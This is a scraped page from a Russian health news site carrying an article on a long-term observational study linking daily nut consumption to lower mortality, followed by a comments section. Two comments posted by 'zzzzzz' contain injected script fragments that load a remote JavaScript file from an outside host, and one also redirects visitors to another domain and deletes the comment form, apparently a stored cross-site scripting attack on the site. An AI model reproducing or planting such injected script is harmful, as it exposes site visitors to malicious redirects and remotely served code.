Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Ешь орехи – живи дольше!  >>  Ешь орехи – живи дольше!
 
Обратная связь
 

Ешь орехи – живи дольше!

Размер шрифта
20 января 2014 00:00
Юрий Малышев
Здоровье инфо
Полина Калинина
Здоровье инфо
  • google_analytics: false
  • Нравится

Если вы любите орехи, то вам повезло! А все потому, что всего горсть любых орехов в день снижает риск смерти в молодом возрасте.

Ешь орехи – живи дольше!

Согласно недавнему исследованию, у людей, употреблявших 30 грамм орехов ежедневно, смертность снижалась на 20% по сравнению с теми, кто отказывал себе в этом лакомстве. «Мы отслеживали количество орехов в рационе почти 119 000 американцев в течение последних 30 лет. Смертность среди людей, регулярно евших орехи, была значительно ниже по сравнению с остальными», – говорит Чарльз Фукс, ведущий исследователь Центра желудочно-кишечной онкологии института онкологии «Дана-Фарбер» в Бостоне.

По словам Чарльза Фукса, результаты исследования нельзя считать непреложной истиной, так как оно носило описательный характер. Тем не менее, в других исследованиях было доказано,  что орехи снижают риск развития заболеваний сердца и сахарного диабета, уменьшают уровень холестерина в крови. Орехи относятся к высокопитательным продуктам. Они содержат ненасыщенные жирные кислоты, клетчатку, витамины и антиоксиданты. Кроме того, орехи богаты такими минералами, как магний, фосфор, кальций, медь и селен. В исследовании принимали участие 76 000 женщин и 42 000 мужчин. В него не включались люди, перенесшие заболевания сердца, инсульт или онкологические заболевания. Количество орехов в рационе проверялось каждые 2-4 года. За 30 лет наблюдения скончались более 16 000 женщин и 11 000 мужчин. Оказалось, что общая смертность среди тех, кто никогда не ел орехи, на 7% превышает таковую среди остальных. Наблюдается зависимость: чем чаще вы едите орехи, тем меньше летальность. 1 раз в неделю – риск ниже на 11%, 2-4 раза в неделю – на 13%, каждый день – на 20%. Кроме того, снижается риск развития онкологии, заболеваний сердца и дыхательной системы. В целом участники, регулярно наслаждавшиеся орешками, были менее склонны к ожирению, имели нормальный уровень холестерина и глюкозы в крови, могли похвастаться меньшей окружностью талии, употребляли больше овощей и фруктов и чаще занимались спортом по сравнению с теми, кто игнорировал это лакомство.

Что ж, подведем итоги! Орехи – обязательная часть рациона, если вы заботитесь о своем здоровье. Замените ими чипсы и конфеты. Орехи богаты полезными белками и жирами, клетчаткой, витаминами группы В, а также снижают риск онкологии. Тем не менее, орехи – не панацея, а всего лишь одна из составляющих здорового питания.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:48

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:48

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Какой напиток не позволит вам ослепнуть?!   Чем запивать водку, чтобы не было цирроза?   Жирная еда делает вас стервой!   Не психуй! Взрывы гнева увеличивают шансы инфаркта!  
17 июля 2013Куда смотреть, чтобы мозг заработал? А заодно спасти близкого от инсульта 22 июня 2013Грецкие орехи спасут от инфаркта
 
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 

Слайдшоу

1
Зачем спать 10 затем
Как бросить курить
Как понять, что вы пьете много?

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.